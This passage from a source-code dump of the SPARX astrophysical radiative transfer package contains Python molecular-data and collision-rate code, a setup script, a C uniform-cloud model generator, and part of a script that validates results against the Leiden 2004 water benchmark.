15+NLEV+NLIN-16+NLEV+NLIN: number of transitions for which\n\t\t\t\t# collisional data exist (NCOL) \n\t\t\t\tfor i in range(2):\n\t\t\t\t\tline = fobj.readline()\n\t\t\t\tself.ntrans = int(line)\n\n\t\t\t\t# Lines 17+NLEV+NLIN-18+NLEV+NLIN: number of temperatures for which\n\t\t\t\t# collisional data exist \n\t\t\t\tfor i in range(2):\n\t\t\t\t\tline = fobj.readline()\n\t\t\t\tself.ntemp = int(line)\n\n\t\t\t\t# Lines 19+NLEV+NLIN-20+NLEV+NLIN: values of temperatures for which\n\t\t\t\t# collisional data exist\n\t\t\t\tfor i in range(2):\n\t\t\t\t\tline = fobj.readline()\n\t\t\t\tcols = line.strip().split()\n\t\t\t\tself.temp = [float(i) for i in cols] # K\n\n\t\t\t\t# Lines 21+NLEV+NLIN-21+NLEV+NLIN+NCOL: transition number, upper\n\t\t\t\t# level, lower level; rate coefficients (cm3s-1) at each temperature.\n\t\t\t\t# Skip header\n\t\t\t\tfobj.readline()\n\t\t\t\t# Read table\n\t\t\t\tself.trans_up = []\n\t\t\t\tself.trans_lo = []\n\t\t\t\tself.trans_Kul = []\n\t\t\t\tfor i in range(self.ntrans):\n\t\t\t\t\tline = fobj.readline()\n\t\t\t\t\tcols = line.strip().split()\n\t\t\t\t\tself.trans_up += [int(cols[1]) - 1]\n\t\t\t\t\tself.trans_lo += [int(cols[2]) - 1]\n\t\t\t\t\tself.trans_Kul += [[float(i) * (Units.cm**3) for i in cols[3:]]] # cm^3 s^-1 -> m^3 s^-1\n\t\t\t\treturn\n\n\t\t\tdef get_boltzmann_ratio(self, itrans, T_k):\n\t\t\t\t\"\"\"\n\t\t\t\tCalculate Boltzmann ratio for transition itrans\n\t\t\t\tat kinetic temperature T_k\n\t\t\t\t\"\"\"\n\t\t\t\tup = self.trans_up[itrans]\n\t\t\t\tlo = self.trans_lo[itrans]\n\t\t\t\tg_u = self.mol.lev_g[up]\n\t\t\t\tg_l = self.mol.lev_g[lo]\n\t\t\t\tE_u = self.mol.lev_E[up]\n\t\t\t\tE_l = self.mol.lev_E[lo]\n\t\t\t\treturn (g_u / g_l) * exp(-(E_u - E_l) / (Const.k * T_k))\n\n\t\t\tdef get_down_rate(self, itrans, T_k):\n\t\t\t\t\"\"\"\n\t\t\t\tCalculate downward collisional rate: linearly interpolate\n\t\t\t\tif temperature not in given table, but NO extrapolation!\n\t\t\t\t\"\"\"\n\t\t\t\tif T_k < self.temp[0]:\n\t\t\t\t\treturn self.trans_Kul[itrans][0]\n\t\t\t\telif T_k > self.temp[-1]:\n\t\t\t\t\treturn self.trans_Kul[itrans][-1]\n\t\t\t\telif self.ntemp > 1:\n\t\t\t\t\t# SciPy interpolation will only work when there is more\n\t\t\t\t\t# than 1 entry\n\t\t\t\t\tfrom scipy.interpolate import interpolate as interp\n\t\t\t\t\tiobj = interp.interp1d(self.temp, self.trans_Kul[itrans])\n\t\t\t\t\treturn iobj(T_k)\n\t\t\t\telse:\n\t\t\t\t\treturn self.trans_Kul[itrans][0]\n\n\t\t\tdef get_up_rate(self, itrans, T_k):\n\t\t\t\t\"\"\"\n\t\t\t\tCalculate upward collisional rate according to\n\t\t\t\tK_lu / K_ul = (g_u / g_l) * exp(-(E_u - E_l) / (kB * Tk))\n\t\t\t\t= Boltzmann ratio\n\t\t\t\t\"\"\"\n\t\t\t\t'''Calculate upward collisional rate for itrans at T_k'''\n\t\t\t\tdown_rate = self.get_down_rate(0, T_k)\n\t\t\t\treturn down_rate * self.get_boltzmann_ratio(itrans, T_k)\n\n\t\t\tdef get_crit_dens(self, iline, T_k):\n\t\t\t\t\"\"\"\n\t\t\t\tCalculate critical density for transition iline\n\t\t\t\tat kinetic temperature T_k\n\t\t\t\t\"\"\"\n\t\t\t\t'''Calculate critical density for itrans at T_k'''\n\t\t\t\tup = self.mol.line_up[iline]\n\t\t\t\tlo = self.mol.line_lo[iline]\n\t\t\t\tfound = False # just in case\n\t\t\t\tfor i in range(self.ntrans):\n\t\t\t\t\tif up == self.trans_up[i] and lo == self.trans_lo[i]:\n\t\t\t\t\t\tKul = self.get_down_rate(i, T_k)\n\t\t\t\t\t\tfound = True\n\t\t\t\t\t\tbreak\n\t\t\t\tif not found:\n\t\t\t\t\traise \"Radiative transition %d has no counterpart in collision data, something's wrong\" % iline\n\t\t\t\treturn self.mol.line_Aul[iline] / Kul\n\n\t\t# Read collisional partners\n\t\tfor i in range(self.ncol):\n\t\t\tself.col += [Coll(self)]\n\t\treturn\n\n\tdef get_partition_func(self, T_k):\n\t\t\"\"\"\n\t\tCalculate the partition function at T_k\n\t\t\"\"\"\n\t\tterms = [self.lev_g[i] * exp(-self.lev_E[i] / (Const.k * T_k)) for i in range(self.nlev)]\n\t\treturn sum(terms)\n\n\tdef get_boltzmann_levels(self, T_k):\n\t\t\"\"\"\n\t\tGet Boltzmann distribution of levels\n\t\t\"\"\"\n\t\tzt = self.get_partition_func(T_k)\n\t\treturn [self.lev_g[i] * exp(-self.lev_E[i] / (Const.k * T_k)) / zt for i in range(self.nlev)]\n\n\tdef get_boltzmann_ratio(self, iline, T_k):\n\t\t'''\n\t\tCalculate Boltzmann ratio for line transition iline\n\t\tat kinetic temperature T_k\n\t\t'''\n\t\tup = self.line_up[iline]\n\t\tlo = self.line_lo[iline]\n\t\tg_u = self.lev_g[up]\n\t\tg_l = self.lev_g[lo]\n\t\tE_u = self.lev_E[up]\n\t\tE_l = self.lev_E[lo]\n\t\treturn (g_u / g_l) * exp(-(E_u - E_l) / (Const.k * T_k))\n\n\tdef __repr__(self):\n\t\t'''\n\t\tString to return when being printed\n\t\t'''\n\t\treturn\\\n\t\t\t\"Name: %s\\n\" % self.name+\\\n\t\t\t\"Molecular weight: %g (%g kg, %g eV)\\n\" % (self.weight, self.mass, self.mass * Const.c**2 / Units.eV)+\\\n\t\t\t\"Number of levels: %d\\n\" % self.nlev+\\\n\t\t\t\"%10s %20s %20s %20s\\n\" % (\"LEVEL\", \"ENERGY(cm^-1)\", \"WEIGHT\", self.qstate)+\\\n\t\t\t\"\\n\".join([\"%10d %20g %20g %20s\" % (i, self.lev_E[i] / (Const.h * Const.c) * Units.cm, self.lev_g[i], self.lev_state[i]) for i in range(self.nlev)])+\"\\n\"+\\\n\t\t\t\"\\n\"+\\\n\t\t\t\"Number of lines: %d\\n\" % self.nline+\\\n\t\t\t\"%10s %10s %10s %20s %20s %20s %20s\\n\" % (\"LINE\", \"UPPER\", \"LOWER\", \"A(s^-1)\", \"Bul(Inu^-1s^-1)\", \"Blu(Inu^-1s^-1)\", \"FREQ(GHz)\")+\\\n\t\t\t\"\\n\".join([\"%10d %10d %10d %20g %20g %20g %20g\" % (i, self.line_up[i], self.line_lo[i], self.line_Aul[i], self.line_Bul[i], self.line_Blu[i], self.line_freq[i] / 1e9) for i in range(self.nline)])+\"\\n\"+\\\n\t\t\t\"\\n\"+\\\n\t\t\t\"Total %d collisional partners: \"%self.ncol+\", \".join([col.name for col in self.col])+\"\\n\"+\\\n\t\t\t\"\\n\\n\".join([\n\t\t\t\t\"Collisional partner #%d: %s (code=%d)\\n\" % (i+1, self.col[i].name, self.col[i].id)+\\\n\t\t\t\t\"Reference: %s\\n\" % (self.col[i].ref)+\\\n\t\t\t\t\"Number of transitions: %d\\n\" % (self.col[i].ntrans)+\\\n\t\t\t\t\"Downward collisional rate coefficients (cm^3s^-1):\\n\"+\\\n\t\t\t\t\"%5s %5s %5s \"%(\"TRANS\", \"UPPER\", \"LOWER\")+\" \".join([\"%11gK\" % j for j in self.col[i].temp])+\"\\n\"+\\\n\t\t\t\t\"\\n\".join([\"%5d %5d %5d \" % (j, self.col[i].trans_up[j], self.col[i].trans_lo[j])+\" \".join([\"%12.4e\"%(K_ul/Units.cm**3) for K_ul in self.col[i].trans_Kul[j]]) for j in range(self.col[i].ntrans)])\n\t\t\tfor i in range(self.ncol)])+\"\\n\"\n\n\tdef get_thermal_fwidth(self, iline, Tk):\n\t\t'''\n\t\tCalculate thermal line width (frequency width)\n\t\t'''\n\t\tdelta_v = thermal_vwidth(Tk, self.mass)\n\t\tdelta_nu = abs(Doppler_vel2frq(self.line_freq[iline], delta_v) - self.line_freq[iline])\n\t\treturn delta_nu\n\n\tdef get_thermal_vwidth(self, T_k):\n\t\t\"\"\"\n\t\tCalculate thermal velocity width\n\t\t\"\"\"\n\t\treturn thermal_vwidth(T_k, self.mass)\n\n\tdef get_thermal_sigmanu(self, T_k, iline, vel):\n\t\t\"\"\"\n\t\tCalculate absorption cross section for thermal equilibrium\n\t\t\"\"\"\n\t\tpops = self.get_boltzmann_levels(T_k)\n\t\tup = self.line_up[iline]\n\t\tlo = self.line_lo[iline]\n\t\tnu = self.line_freq[iline]\n\t\tBlu = self.line_Blu[iline]\n\t\tBul = self.line_Bul[iline]\n\t\tdelta_vel = self.get_thermal_vwidth(T_k)\n\t\treturn (Const.h * nu) / (4.0 * pi) * (pops[lo] * Blu - pops[up] * Bul) * (Const.c / nu) * gaussian_vprofile(vel, delta_vel)\n\n\n\n" }, { "alpha_fraction": 0.6605960130691528, "alphanum_fraction": 0.6688741445541382, "avg_line_length": 27.761905670166016, "blob_id": "8aa2d353cbbdcc0f5221287a3a9471d359ed2658", "content_id": "d24a6099b7b797c45a20052bb1926cfd5166733f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1812, "license_type": "no_license", "max_line_length": 113, "num_lines": 63, "path": "/setup-Darwin.py", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "from distutils.core import setup, Extension\nimport numpy\n\ncfiles = [\n'_miriad.c',\n'debug.c',\n'physics.c',\n'numerical.c',\n'memory.c',\n'miriad-wrappers.c',\n'python-wrappers.c'\n]\n\n_sparx = Extension('sparx._sparx',\n\t\t\tsources = ['src/'+i for i in cfiles],\n\t\t\tinclude_dirs=[\n\t\t\t\t'/opt/local/include',\n\t\t\t\t'/opt/local/include/pgplot-miriad-remix',\n\t\t\t\t'/opt/local/include/miriad-c',\n\t\t\t\tnumpy.get_include()\n\t\t\t],\n\t\t\textra_link_args=[\n\t\t\t\t'-L/opt/local/lib',\n\t\t\t\t'-lmir',\n\t\t\t\t'-lgsl',\n\t\t\t\t'-lgslcblas',\n\t\t\t\t'-lfftw3'\n\t\t\t],\n\t\t\textra_compile_args=[\n\t\t\t\t'-Wall',\n\t\t\t\t#'-Werror',\n\t\t\t\t#'-Wno-unused-function'\n\t\t\t])\n\n# The main setup call\nsetup(\n\tname = 'sparx',\n\tversion = '0.3',\n\tauthor = 'Eric Chung',\n\tauthor_email = '[email protected]',\n\turl = 'http://esclab.tw/wiki/index.php/Category:SPARX',\n\tdescription = 'SPARX Platform for Astrophysical Radiative Xfer',\n\tpackages = ['sparx'],\n\tpackage_dir = {'sparx': \"lib/sparx\"},\n\tpackage_data = {'sparx': [\n\t\t'data/molec/*.dat', # Molecular data files\n\t\t'data/opacity/*.tab', # Opacity data files\n\t\t'VERSION', # Program version\n\t]},\n\text_modules = [_sparx],\n\tscripts = [\n\t\t'bin/sparx', # Main sparx command line driver\n\t\t'bin/sparx-plot', # Model plotter\n\t\t'bin/sparx-plot2', # Model plotter\n\t\t'bin/sparx-validate-dust', # Script for validating dust radiative transfer\n\t\t'bin/sparx-validate-line', # Script for validating line radiative transfer\n\t\t'bin/sparx-validate-leiden', # Script for validating with the Leiden 2004 benchmark problems\n\t\t'bin/sparx-gengrid-leiden-ratran', # Script for generating ratran models for the Leiden 2004 benchmark problems\n\t\t'bin/sparx-get-statistics-sparxh5', # Script for gathering statistics from sparxh5 files\n\t\t'bin/sparx-get-statistics-amcpop', # Script for gathering statistics from sparxh5 files\n\t\t'bin/sparx-t_test', # Script for doing t-test\n\t],\n)\n" }, { "alpha_fraction": 0.555206835269928, "alphanum_fraction": 0.5691868662834167, "avg_line_length": 21.2484073638916, "blob_id": "96a02d5550cf27c817f74bbcbbc23c9c5425134e", "content_id": "6a79c9b08678d5858c4207af5372d4840aa29aa0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3505, "license_type": "no_license", "max_line_length": 88, "num_lines": 157, "path": "/src/sparx-task-uniform.c", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#include \"sparx.h\"\n\n/* Global parameter struct */\nstatic struct glb {\n\tint geom;\n\tsize_t ndiv;\n\tdouble dims, ngas, tkin, xmol, vrad;\n\tKappa *dust;\n\tSpModel model;\n\tSpFile *outf;\n} glb;\n\nstatic int GenModel(void);\nstatic void *GenModelThread(void *arg);\n\n/*----------------------------------------------------------------------------*/\n\nint SpTask_Uniform(void)\n{\n\tint status = 0;\n\n\tMem_BZERO(&glb);\n\n\tglb.geom = SpInp_GetKey_int(\"geom\");\n\tglb.dims = SpInp_GetKey_dbl(\"dims\");\n\tglb.ndiv = SpInp_GetKey_size_t(\"ndiv\");\n\tglb.ngas = SpInp_GetKey_dbl(\"nh2\");\n\tglb.tkin = SpInp_GetKey_dbl(\"tk\");\n\tglb.xmol = SpInp_GetKey_dbl(\"xmol\");\n\tglb.vrad = SpInp_GetKey_dbl(\"vrad\");\n\tglb.dust = SpInp_GetKey_kappa(\"dust\");\n\tglb.model.parms.gas_to_dust = SpInp_GetKey_dbl(\"gas2dust\");\n\tglb.outf = SpInp_GetKey_spfile(\"out\", Sp_NEW);\n\n\t/* Generate model */\n\tif(!status)\n\t\tstatus = GenModel();\n\n\t/* Cleanup */\n\tSpModel_Cleanup(glb.model);\n\n\tif(glb.outf)\n\t\tSpIO_CloseFile(glb.outf);\n\n\n\treturn status;\n}\n\n/*----------------------------------------------------------------------------*/\n\n#define NI (glb.ndiv)\n#define NJ (glb.ndiv)\n#define NK (glb.ndiv)\n#define PC (PHYS_UNIT_MKS_PC)\n\nstatic int GenModel(void)\n{\n\tint status = 0;\n\tGeVec3_d min, max;\n\tGeVec3_s ndiv;\n\n\t/* Models of different coordinate systems differ only in their\n\t * dimensions */\n\tswitch(glb.geom) {\n\t\tcase GEOM_SPH1D:\n\t\t\tmin = GeVec3_d_Init(0.0, 0.0, 0.0);\n\t\t\tmax = GeVec3_d_Init(glb.dims / PC, PI, TWOPI);\n\t\t\tndiv = GeVec3_s_Init(glb.ndiv, (size_t)1, (size_t)1);\n\t\t\tbreak;\n\n\t\tcase GEOM_REC3D:\n\t\t\tmin = GeVec3_d_Init(0.0, 0.0, 0.0);\n\t\t\tmax = GeVec3_d_Init(glb.dims/PC, glb.dims/PC, glb.dims/PC);\n\t\t\tndiv = GeVec3_s_Init(glb.ndiv, glb.ndiv, glb.ndiv);\n\t\t\tbreak;\n\n\t\tdefault: /* Shouldn't happen */\n\t\t\tassert(0);\n\t}\n\n\t/* Allocate grid */\n\tSpModel_InitGrid(&glb.model, glb.geom, min, max, ndiv);\n\n\t/* Fill in grid parameters */\n\tSpUtil_Threads(GenModelThread);\n\n\t/* Write model to file */\n\tstatus = SpIO_FwriteModel(glb.outf, glb.model);\n\n\tif(!status)\n\t\tSp_PRINT(\"Wrote source model to `%s'\\n\", glb.outf->name);\n\n\treturn status;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic void *GenModelThread(void *tid_p)\n{\n\tsize_t i, tid = *((size_t *)tid_p), zone_id;\n\tZone *zp, *root = glb.model.grid;\n\tdouble radius, velo;\n\tSpPhys *pp;\n\tGeVec3_d pos;\n\n\t/* Setup model */\n\tfor(zp = Zone_GetMinLeaf(root), zone_id = 0; zp; zp = Zone_AscendTree(zp), zone_id++) {\n\t\t/* Skip when zone_id % Sp_NTHREAD != tid */\n\t\tif(zone_id % Sp_NTHREAD != tid)\n\t\t\tcontinue;\n\n\t\tif(zp->children)\n\t\t\tcontinue;\n\n\t\tpp = NULL;\n\n\t\tswitch(glb.geom) {\n\t\t\tcase GEOM_SPH1D:\n\t\t\t\tpp = zp->data;\n\t\t\t\tGeVec3_X(pp->v_cen, 0) = glb.vrad * GeVec3_X(zp->voxel.cen, 0);\n\t\t\t\tbreak;\n\n\t\t\tcase GEOM_REC3D:\n\t\t\t\tpos = GeVec3_Sub(&root->voxel.cen, &zp->voxel.cen);\n\t\t\t\tradius = GeVec3_Mag(&pos);\n\t\t\t\tif(radius <= 0.5 * glb.dims / PHYS_UNIT_MKS_PC) {\n\t\t\t\t\tpp = zp->data;\n\n\t\t\t\t\tvelo = radius * glb.vrad;\n\t\t\t\t\tpos = GeVec3_Normalize(&pos);\n\t\t\t\t\tpp->v_cen = GeVec3_Scale(&pos, velo);\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tdefault:\n\t\t\t\tassert(0);\n\t\t}\n\n\t\tif(pp) {\n\t\t\tpp->T_k = glb.tkin; /* K */\n\t\t\tpp->n_H2 = glb.ngas; /* m^-3 */\n\t\t\tpp->X_mol = glb.xmol; /* fraction */\n\t\t\tif(glb.dust) {\n\t\t\t\tstrncpy(pp->kapp_d, glb.dust->name, ZoneH5_KAPPLEN);\n\t\t\t}\n\n\t\t\t/* Init molecular level populations if requested */\n\t\t\tif(glb.model.parms.mol) {\n\t\t\t\tfor(i = 0; i < pp->mol->nlev; i++) {\n\t\t\t\t\tpp->pops[0][i] = SpPhys_BoltzPops(glb.model.parms.mol, i, pp->T_k);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn NULL;\n}\n\n\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.6218769550323486, "alphanum_fraction": 0.6458954215049744, "avg_line_length": 30.575597763061523, "blob_id": "5d5a34f651309af59b78401bae84d201a214b982", "content_id": "8346ee54efc3dec8997c9d55b939254605bc125d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 23815, "license_type": "no_license", "max_line_length": 254, "num_lines": 754, "path": "/bin/sparx-validate-leiden", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#! /usr/bin/env python\n\n# Validate non-LTE excitation calculation by solving the water\n# radiative transfer benchmark problem presented at the RT workshop\n# at Leiden in 2004. This problem considers the excitation of\n# 2-level ortho-water in an isothermal, uniform gas cloud. Two\n# dynamical cases are considered -- a static cloud and a dynmaical\n# cloud where the cloud is expanding with a linear velocity gradient\n# of 100 km/s/pc.\n#\n# This program does the necessary work to reproduce all the results\n# written in Dr. David Neufeld's document for benchmarking non-LTE\n# line radiative transfer codes.\n# \n# CAVEAT: Be ware that the line width used in Neufeld's documents\n# is 1 km/s FWHM, and if a direct comparison is to be made, some\n# adjustments must be applied first.\n\n# Global filename prefix\nNAME = \"leiden\"\n\n# Some necessary imports\nimport pylab as pl\nimport numpy as np\nfrom os.path import exists\nfrom math import sqrt, log\nimport sparx\nfrom sparx import tasks, utils, inputs, physics, miriad, grid\nUnit = physics.Units\nCnst = physics.Const\n\nfrom time import sleep\n\n# Setup plotting\nimport matplotlib.font_manager\nLEGND_PROP = matplotlib.font_manager.FontProperties(size=8)\n\n# Image type\nIMG_TYP = \"png\"\n\nclass Cloud(object):\n\t\"\"\"\n\t# The uniform cloud model\n\t\"\"\"\n\t# Cloud parameters\n\tr = 0.1 * Unit.pc # [m] cloud radius\n\tn_H2 = 1e4 * 1e6 # [m^-3] cloud density\n\tT_k = 40.0 # [K] cloud kinetic temperature\n\n\t# Distance from source [m]\n\tdist = 2000.0 * Unit.pc\n\n\t# Calculate projected beam radius [m]\n\tfwhm = (10.0 * Unit.pc / dist) # rad\n\tsigma = fwhm / (2.0 * sqrt(2.0 * log(2.0)))\n\tR_beam = sigma * dist\n\n\t# Channel number and width\n\tchan_n = 100\n\tchan_width = 0.05 # km/s\n\n\tdef __init__(self, molec):\n\t\t# The model molecule should contain only two states\n\t\t#self.mol = physics.Molecule(\"o-h2o_2lev\")\n\t\tself.mol = physics.Molecule(molec)\n\n\t\t# Calculate transition frequency and wavelength\n\t\tself.freq = self.mol.line_freq[0] # Hz\n\t\tself.lmda = Cnst.c / self.freq # m\n\t\treturn\n\n################################################################################\n\nclass Static(Cloud):\n\t\"\"\"\n\tAnalytic solution for the static cloud:\n\tSince there is no accurate analytic solution for the excitation of a\n\tstatic cloud with arbitrary molecular abundance, only two limiting cases\n\tare solved:\n\t a) the optcially thick LTE limit\n\t b) the optically thin case\n\t\n\tFormulating detailed balance in terms of photon escape probability,\n\twe may arrive at the following solution for the ratio of the upper\n\tand lower level populations\n\t\n\tn_u / n_l = u / (1 + s * beta)\n\twhere u = (g_u / g_l) * exp(-(E_u - E_l) / (k * T_k))\n\t s = n_cr / n_H2\n\t beta = escape probability\n\t\"\"\"\n\t# Filename prefix\n\tname = NAME+\"-static\"\n\n\tdef __init__(self, ndiv, Xmol_list, molec, tcmb=\"0K\", s1d_path=None, s3d_path=None, r1d_path=None, fwhm=0.32e3):\n\t\t\"\"\"\n\t\tInitialize static problem: the only free parameter is\n\t\tthe fwhm of line width.\n\t\t\"\"\"\n\t\t# Initialize parent class\n\t\tCloud.__init__(self, molec)\n\n\t\t# Number of divisions along radial direction\n\t\tself.ndiv = ndiv\n\n\t\t# List of molecular abundances\n\t\tself.Xmol_list = Xmol_list\n\n\t\t# Background radiation\n\t\tself.tcmb = tcmb\n\n\t\t# Paths to calculation results\n\t\tself.s1d_path = s1d_path\n\t\tself.s3d_path = s3d_path\n\t\tself.r1d_path = r1d_path\n\n\t\t# Setup file names\n\t\tif s1d_path != None:\n\t\t\tname = s1d_path+\"/\"+\"%s-s1d\"%(self.name)\n\t\t\tself.s1d_srcs = [name+\"-X=%.2e.src\"%Xmol for Xmol in Xmol_list]\n\t\t\tself.s1d_pops = [name+\"-X=%.2e.pop\"%Xmol for Xmol in Xmol_list]\n\t\t\tself.s1d_imgs = [name+\"-X=%.2e.img\"%Xmol for Xmol in Xmol_list]\n\t\t\tself.s1d_cnvs = [name+\"-X=%.2e.cnv\"%Xmol for Xmol in Xmol_list]\n\t\t\tself.s1d_tmbs = [name+\"-X=%.2e.tmb\"%Xmol for Xmol in Xmol_list]\n\t\tif s3d_path != None:\n\t\t\tname = s3d_path+\"/\"+\"%s-s3d\"%(self.name)\n\t\t\tself.s3d_srcs = [name+\"-X=%.2e.src\"%Xmol for Xmol in Xmol_list]\n\t\t\tself.s3d_pops = [name+\"-X=%.2e.pop\"%Xmol for Xmol in Xmol_list]\n\t\t\tself.s3d_imgs = [name+\"-X=%.2e.img\"%Xmol for Xmol in Xmol_list]\n\t\t\tself.s3d_cnvs = [name+\"-X=%.2e.cnv\"%Xmol for Xmol in Xmol_list]\n\t\t\tself.s3d_tmbs = [name+\"-X=%.2e.tmb\"%Xmol for Xmol in Xmol_list]\n\n\t\t# Free parameters:\n\t\t# Convert line width from FWHM to sqrt(2) * sigma:\n\t\t# FWHM = 2 * sqrt(2 * log(2)) * sigma\n\t\tself.width = fwhm / (2.0 * sqrt(log(2.0))) # m/s\n\t\tself.nu_D = physics.Doppler_vel2frq(self.freq, self.width) - self.freq # Hz\n\n\t\t# Excitation parameters:\n\t\t# The 'u' parameter for excitation: this should be 0.512 for the H2O model\n\t\tself.exc_u = self.mol.get_boltzmann_ratio(0, self.T_k)\n\n\t\t# The 's' parameter for excitation:\n\t\t# This should be 1588 for the H2O model\n\t\tself.exc_s = self.mol.col[0].get_crit_dens(0, self.T_k) / self.n_H2\n\n\t\t# Level populations:\n\t\t# Upper level fractional density at optically thick condition (beta = 0)\n\t\t# n_u / n_l = u / (1 + s * beta)\n\t\t# => n_u / (1 - n_u) = u / 1\n\t\t# => n_u = u / (u + 1)\n\t\t# This should be 0.339 for the H2O model\n\t\tself.n_u_thick = self.exc_u / (self.exc_u + 1.0)\n\n\t\t# Lower level fractional density at optically thin condition (beta = 1)\n\t\t# n_u / n_l = u / (1 + s * beta)\n\t\t# => n_u / n_l = u / (1 + s)\n\t\t# This should be 3.22e-4 for the H2O model\n\t\tself.n_u_thin = 1.0 / (1.0 + (1.0 + self.exc_s) / self.exc_u)\n\t\treturn\n\n\tdef phi_nu(self, nu):\n\t\t\"\"\"\n\t\tLine profile function\n\t\t\"\"\"\n\t\treturn phys.gaussian_fprofile(nu, self.freq, self.nu_D)\n\n\tdef calc_luminosity(self, X_mol):\n\t\t\"\"\"\n\t\tCalculate theoretical luminosity assuming collisional de-excitation\n\t\tcan be neglected.\n\t\tL = h * nu * q_12 * n_H2 * n_H2O * (4/3 * pi * r**3)\n\t\t\"\"\"\n\t\treturn Cnst.h * self.freq * self.mol.col[0].get_up_rate(0, self.T_k) * self.n_H2 * (X_mol * self.n_H2) * (Cnst.pi * 4.0 / 3.0) * self.r**3.0\n\n\tdef _pipeline_sparx(self, Xmol, src, pop, img, cnv, tmb, genimg=True):\n\t\t\"\"\"\n\t\tPipeline for generating SPARX solutions\n\t\t\"\"\"\n\t\tfrom time import sleep\n\t\t# Calculate excitation\n\t\tif not exists(pop):\n\t\t\t#tasks.task_amc(source=src, molec='o-h2o_2lev', out=pop)\n\t\t\tutils.call(\"mpirun %s -np %d sparx --parallel run task_amc source='%s' molec='%s' out='%s' fixiter=10 lte=%s trace=%s nrays=%d snr=%.0f tolerance=%.2e maxiter=%d\"%(NODES, NPROC, src, self.mol.name, pop, FROMLTE, TRACE, NRAYS, SNR, TOLERANCE, MAXITER))\n\t\t\t#utils.call(\"sparx run task_amc source='%s' molec='o-h2o_2lev' out='%s'\"%(src, pop))\n\n\t\t\twhile not exists(pop):\n\t\t\t\tsleep(0.1)\n\t\t\t\tpass\n\n\t\tif genimg:\n\t\t\t# Generate synthesized map\n\t\t\tif not exists(img):\n\t\t\t\ttasks.task_lineobs(\n\t\t\t\t\tsource=pop,\n\t\t\t\t\tchan=\"[%d,'%gkms^-1']\"%(self.chan_n, self.chan_width),\n\t\t\t\t\tdist=\"%gpc\"%(self.dist / Unit.pc),\n\t\t\t\t\tline=0,\n\t\t\t\t\tout=img,\n\t\t\t\t\tnpix=\"[256,256]\",\n\t\t\t\t\tcell=\"['0.5asec','0.5asec']\",\n\t\t\t\t\tunit=\"JY/PIXEL\")\n\n\t\t\t# To avoid mysterious 'invalid argument' bug in miriad\n\t\t\tsleep(0.5)\n\n\t\t\t# Convolve with beam\n\t\t\tif not exists(cnv):\n\t\t\t\tmiriad.convol(img, cnv, self.fwhm)\n\n\t\t\t# To avoid mysterious 'invalid argument' bug in miriad\n\t\t\tsleep(0.5)\n\n\t\t\t# Convert to brightness temperature\n\t\t\tif not exists(tmb):\n\t\t\t\tmiriad.convert_flux_to_tb(cnv, tmb, self.freq, self.fwhm)\n\t\treturn\n\n\tdef _pipeline_s1d(self, iX, vgrad, genimg=True):\n\t\t\"\"\"\n\t\tSPARX-1D pipeline\n\t\t\"\"\"\n\t\tfrom time import sleep\n\t\t# Setup filenames\n\t\tsrc = self.s1d_srcs[iX]\n\t\tpop = self.s1d_pops[iX]\n\t\timg = self.s1d_imgs[iX]\n\t\tcnv = self.s1d_cnvs[iX]\n\t\ttmb = self.s1d_tmbs[iX]\n\t\tXmol = self.Xmol_list[iX]\n\n\t\t# Reset inputs (safer)\n\t\tinputs.reset_inputs()\n\n\t\t# Generate model grid\n\t\tif not exists(src):\n\t\t\tif self.ndiv == None:\n\t\t\t\tprint \"task_leiden1d: self.ndiv={0}\".format(self.ndiv)\n\t\t\t\ttasks.task_leiden1d(out=src, xmol=Xmol, vgrad=vgrad, tk=opts.tk, tcmb=self.tcmb)\n\t\t\telse:\n\t\t\t\ttasks.task_leiden1d(out=src, xmol=Xmol, vgrad=vgrad, tk=opts.tk, tcmb=self.tcmb, ndiv=self.ndiv)\n\n\t\t\t# Wait for src to appear on disk\n\t\t\twhile not exists(src):\n\t\t\t\tsleep(0.1)\n\t\t\t\tpass\n\t\t\t\n\n\t\tself._pipeline_sparx(Xmol, src, pop, img, cnv, tmb, genimg)\n\t\treturn\n\n\tdef _pipeline_s3d(self, iX, vgrad, genimg=True):\n\t\t\"\"\"\n\t\tSPARX-3D pipeline\n\t\t\"\"\"\n\t\t# Setup filenames\n\t\tsrc = self.s3d_srcs[iX]\n\t\tpop = self.s3d_pops[iX]\n\t\timg = self.s3d_imgs[iX]\n\t\tcnv = self.s3d_cnvs[iX]\n\t\ttmb = self.s3d_tmbs[iX]\n\t\tXmol = self.Xmol_list[iX]\n\n\t\t# Reset inputs (safer)\n\t\tinputs.reset_inputs()\n\n\t\t# Generate model grid\n\t\tif not exists(src):\n\t\t\tif self.ndiv == None:\n\t\t\t\tndiv = 16\n\t\t\telse:\n\t\t\t\tndiv = self.ndiv * 2\n\t\t\ttasks.task_leiden3d(out=src, xmol=Xmol, vgrad=vgrad, tk=opts.tk, tcmb=self.tcmb, ndiv=ndiv)\n\n\t\tself._pipeline_sparx(Xmol, src, pop, img, cnv, tmb, genimg)\n\t\treturn\n\n\tdef plot_figure1(self, iX_range=None):\n\t\t\"\"\"\n\t\tFigure 1: shows the upper level population calculated with SPARX as a\n\t\tfunction of radius, for different molecular abundances\n\t\t\"\"\"\n\t\t# Fall back to full range if iX_range not given\n\t\tif iX_range == None:\n\t\t\tiX_range = range(len(self.Xmol_list))\n\n\t\t# Clear current figure\n\t\tpl.cla()\n\n\t\tfor i in iX_range:\n\t\t\tXmol = self.Xmol_list[i]\n\t\t\tif self.s1d_path :\n\t\t\t\t# Get and plot S1D results\n\t\t\t\th5f = grid.SPARXH5(self.s1d_pops[i])\n\t\t\t\txlist = h5f.GetRadii()\n\t\t\t\tylist = h5f.GetRadial(\"lev1\")\n\t\t\t\th5f.Close()\n\t\t\t\tpl.plot(xlist, ylist, \"-o\", label=\"X(H2O)=%.2e (S1D)\"%Xmol)\n\t\t\tif self.s3d_path :\n\t\t\t\t# Get and plot S3D results\n\t\t\t\th5f = grid.SPARXH5(self.s3d_pops[i])\n\t\t\t\txlist = 